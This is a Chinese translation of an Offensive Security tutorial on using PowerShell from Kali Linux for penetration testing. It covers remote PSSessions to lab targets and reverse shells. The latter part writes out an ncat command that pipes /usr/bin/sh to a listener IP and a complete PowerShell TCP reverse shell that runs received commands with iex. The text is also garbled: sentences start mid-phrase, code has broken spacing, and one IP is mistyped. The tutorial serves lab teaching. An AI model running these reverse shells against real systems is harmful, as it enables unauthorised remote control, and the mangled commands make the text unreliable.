

譯文聲明
本文是翻譯文章,文章原作者 TJ Null
文章來源:https://www.offensive-security.com
原文地址:
https://www.offensive-security.com/offsec/kali-linux-powershell-pentesting/
譯文僅供參考,具體內容表達以及含義原文為準。



前言



在最近的幾年中,PowerShell
顯然已經成為了一種功能強大的腳本語言,它是運行在windows機器上實現系統和應用程序管理自動化的命令行腳本環境。不僅如此,微軟還推出了Powershell Core
,可以跨平臺使用,支持 Linux
和 Mac
。
在Linux
上使用PowerShell可以帶來諸多好處,例如:
?可以在PowerShell中編寫和調試腳本
?連接到Windows目標靶機
?傳輸文件
但是目前,PowerShell在Linux平臺上功能還不夠完善,例如:
?所支持的cmdlet
不完善
?不能夠在PowerShell中直接使用sudo
或exec
?不支持WMI或CIM
Kali
上建立PSSession
到我們的靶機(Windows和Linux)。在Powshell中,PSSessioncmdlet允許我們創建到本地或遠程計算機的持久連接。通過PSSession我們可以實現在加密傳輸內容的同時與目標主機進行交互。(注意:本文中使用的命令已在Windows10x64 Pro,2004
版和Ubuntu20.04LTS
上進行了測試。)


在WINDOWS上獲取PSSESSION



PSremoting
并具有訪問系統的憑據。當您啟用PSRemoting時,它使用默認的HTTP 5985
端口進行連接。WS-Management
協議會幫助我們加密通過網絡傳輸的所有 Windows PowerShell 內容。在本次測試中,使用默認選項即可。在Kali上首次使用Powshell時,需要安裝一個單獨的軟件包,并且需要更改一些配置才能獲取PSSession。我們需要安裝gss ntlmssp
,并在PowerShell目錄中創建兩個符號鏈接,以確保PowerShell中的WSman
模塊正常工作。默認情況下,我們的PowerShell位于以下路徑:/ opt / Microsoft / powershell / 7
切換到到上面的目錄。在該目錄中,添加符號鏈接:
ln -s /usr/lib/x86_64-linux-gnu/libssl.so.1.0.2 libssl.so.1.0.0ln?-s?/usr/lib/x86_64-linux-gnu/libcrypto.so.1.0.2?libcrypto?.so.1.0.0
準備工作已經完成,讓我們打開kali系統上Powshell終端,鍵入以下命令來創建一個新的PSSession。$offsecsession=New-PSSession-ComputerName-Authentication Negotiate -Credential
使用正確的憑據,我們就可以實現在PSSession中與Windows目標進行交互。運行結果如下圖所示:
Invoke-Command
的Session參數在PSSession中運行命令或腳本。我們還可以通過Invoke-Command
命令實現與多臺主機進行交互。以下是一個演示示例,在多臺主機上執行hostname命令:Invoke-Command -Session $offsecsession -ScriptBlock {hostname}
通過這種方法,我們就可以在PSSession后臺執行命令。ScriptBlock
還允許我們同時執行多條命令,只需要使用‘;’
將每條命令隔開即可。下面是演示示例:
Invoke-Command -Session $offsecsession -ScriptBlock{hostname; whoami;whoami/priv}



在LINUX系統上獲取PSSESSION



ssh
服務,同時修改sshd_config
文件:?PasswordAuthentication yes
?Optional: PubkeyAuthentication yes
在Ubuntu上鍵入以下命令:
Subsystem powershell /snap/bin/pwsh --sshs -NoLogo -NoProfile
sshd_config
的修改,并且重啟ssh服務。這樣我們便可以在Linux靶機上獲得PSSession:我們還可以通過“ Invoke-Command” cmdlet在PSSession中運行Bash
命令或PowerShell
命令。
Tips:在Linux并非支持所有的cmdlet命令。但是隨著PowerShell的不斷更新與完善,支持cmdlet的指令集也會不斷更新。目前我們已經實現在Linux靶機上獲取PSSession,下面讓我們看一下如何使用Powshell在Linux獲取反向shell。



在LINUX上獲取反向SHELL



PowerShell
還可以進行反彈shell的操作。我們可以在靶機上執行二進制文件,傳輸文件,讀寫文件。我將在這一小節中,演示如何通過ncat
命令獲取反彈shell。我們使用一個名為Start-Process
的cmdlet可以幫助我們達到目的。下面是一個演示示例:Start-Process/usr/bin/ncat-NoNewWindow-Argumentlist'192.168.117.129 443 -e /usr/bin/sh'
ncat
,并向kali回調了一個shell。我們只需要在kali上保持監聽即可。如下圖所示,我們成功的在kali上獲取了一個反向shell:我們還可以使用pwsh
后邊跟上-Command參數,直接在bash中執行Powshell命令:pwsh-Command"Start-Process/usr/bin/ncat-NoNewWindow-Argumentlist '192.16.117.129 443 -e /usr/bin/sh'"
簡化操作
我們甚至還可以借助Powshell本身的功能來進行反彈shell。腳本如下:
$callback = New - Object System.Net.Sockets.TCPClient("IP ADDRESS", PORT);$stream = $callback.GetStream();[byte[]]$bytes = 0..65535|% {0};while (($i = $stream.Read($bytes, 0, $bytes.Length)) - ne 0) {;$data = (New - Object - TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);$sendback = (iex $data 2 > &1 | Out - String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte, 0, $sendbyte.Length);$stream.Flush()};$callback.Close()
我們可以把腳本集中放置在一行,并將其保存為文本文件(例如posh.ps1):$callback=New-Object System.Net.Sockets.TCPClient("192.168.117.134",443);$stream=$callback.GetStream();[byte[]]$bytes=0..65535|%{0};while(($i=$stream.Read($bytes,0,$bytes.Length))-ne0){;$data=(New-Object-TypeNameSystem.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 =$sendback +"PS"+(pwd).Path+">";$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$callback.Close()
當靶機執行此腳本時,同樣可以達到反彈shell的目的:


結論



如今,powshell已經成為了滲透測試中一大利器。本文只是演示了幾個簡單的示例,Powshell功能遠不僅此。從
pentester
的角度來看,我們使用了PowerShell拓展了我們后滲透測試的手段。防御者也通過Powershell來檢測攻擊者的行為。后續,我們將繼續研究PowerShell在linux更多利用手法。


參考文獻



Kali Bug Report
(https://bugs.kali.org/view.php?id=5915)PowerShell (GitHub)
(https://github.com/PowerShell/PowerShell/issues/11374)Invoke-Command (Microsoft)
(https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/invoke-command?view=powershell-7)





